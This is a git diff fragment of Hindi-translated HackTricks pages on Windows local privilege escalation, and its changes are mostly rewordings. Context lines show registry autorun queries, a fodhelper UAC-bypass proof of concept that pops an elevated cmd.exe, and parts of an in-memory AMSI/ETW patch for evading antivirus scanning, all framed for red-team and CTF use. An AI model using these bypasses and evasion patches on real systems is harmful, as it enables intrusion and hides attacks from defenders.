उपयोग किया जा सकता है: ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s @@ -301,7 +302,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi ``` ## SysInternals -ध्यान दें कि सभी साइटें जहां आप autoruns पा सकते हैं **पहले से ही खोजी गई हैं**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)। हालाँकि, **स्वचालित रूप से निष्पादित** फ़ाइलों की **अधिक व्यापक सूची** के लिए आप systinternals से [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) का उपयोग कर सकते हैं: +ध्यान दें कि सभी साइटें जहाँ आप autoruns पा सकते हैं **पहले से ही खोजी गई हैं**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)। हालाँकि, **स्वचालित रूप से निष्पादित** फ़ाइलों की **अधिक व्यापक सूची** के लिए आप systinternals से [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) का उपयोग कर सकते हैं: ``` autorunsc.exe -m -nobanner -a * -ct /accepteula ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md index 0623ceada..815612933 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md +++ b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -यह पृष्ठ **छोटे, आत्म-contained C स्निप्पेट्स** को इकट्ठा करता है जो Windows Local Privilege Escalation या post-exploitation के दौरान सहायक होते हैं। प्रत्येक payload को **कॉपी-पेस्ट के लिए अनुकूलित** किया गया है, केवल Windows API / C runtime की आवश्यकता होती है, और इसे `i686-w64-mingw32-gcc` (x86) या `x86_64-w64-mingw32-gcc` (x64) के साथ संकलित किया जा सकता है। +यह पृष्ठ **छोटे, आत्म-contained C स्निप्पेट्स** को इकट्ठा करता है जो Windows Local Privilege Escalation या post-exploitation के दौरान सहायक होते हैं। प्रत्येक payload को **कॉपी-पेस्ट के अनुकूल** बनाने के लिए डिज़ाइन किया गया है, केवल Windows API / C runtime की आवश्यकता होती है, और इसे `i686-w64-mingw32-gcc` (x86) या `x86_64-w64-mingw32-gcc` (x64) के साथ संकलित किया जा सकता है। > ⚠️ ये payloads मानते हैं कि प्रक्रिया के पास कार्रवाई करने के लिए आवश्यक न्यूनतम विशेषाधिकार पहले से ही हैं (जैसे `SeDebugPrivilege`, `SeImpersonatePrivilege`, या UAC बायपास के लिए मध्यम-इंटीग्रिटी संदर्भ)। ये **रेड-टीम या CTF सेटिंग्स** के लिए अभिप्रेत हैं जहां एक भेद्यता का शोषण करने से मनमाना स्थानीय कोड निष्पादन हुआ है। @@ -27,7 +27,7 @@ return 0; ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -एक न्यूनतम PoC जो एक उन्नत `cmd.exe` को पॉप करता है: +एक न्यूनतम PoC जो एक ऊंचा `cmd.exe` पॉप करता है: ```c // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c #define _CRT_SECURE_NO_WARNINGS @@ -115,6 +115,7 @@ return 0; } ``` For a deeper explanation of how that works see: + {{#ref}} sedebug-+-seimpersonate-copy-token.md {{#endref}} @@ -122,7 +123,7 @@ sedebug-+-seimpersonate-copy-token.md --- ## In-Memory AMSI & ETW Patch (Defence Evasion) -अधिकांश आधुनिक AV/EDR इंजन **AMSI** और **ETW** पर निर्भर करते हैं ताकि दुर्भावनापूर्ण व्यवहारों की जांच की जा सके। वर्तमान प्रक्रिया के अंदर दोनों इंटरफेस को जल्दी पैच करना स्क्रिप्ट-आधारित पेलोड (जैसे PowerShell, JScript) को स्कैन होने से रोकता है। +अधिकांश आधुनिक AV/EDR इंजन **AMSI** और **ETW** पर निर्भर करते हैं ताकि दुर्भावनापूर्ण व्यवहारों की जांच की जा सके। वर्तमान प्रक्रिया के भीतर दोनों इंटरफेस को जल्दी पैच करना स्क्रिप्ट-आधारित पेलोड (जैसे PowerShell, JScript) को स्कैन होने से रोकता है। ```c // gcc -o patch_amsi.exe patch_amsi.c -lntdll #define _CRT_SECURE_NO_WARNINGS @@ -149,7 +150,7 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK); return 0; } ``` -*ऊपर दिया गया पैच प्रक्रिया-स्थानीय है; इसे चलाने के बाद एक नया PowerShell उत्पन्न करने पर AMSI/ETW निरीक्षण के बिना निष्पादित होगा।* +*ऊपर दिया गया पैच प्रक्रिया-स्थानीय है; इसे चलाने के बाद एक नया PowerShell उत्पन्न करना AMSI/ETW निरीक्षण के बिना निष्पादित करेगा।* ---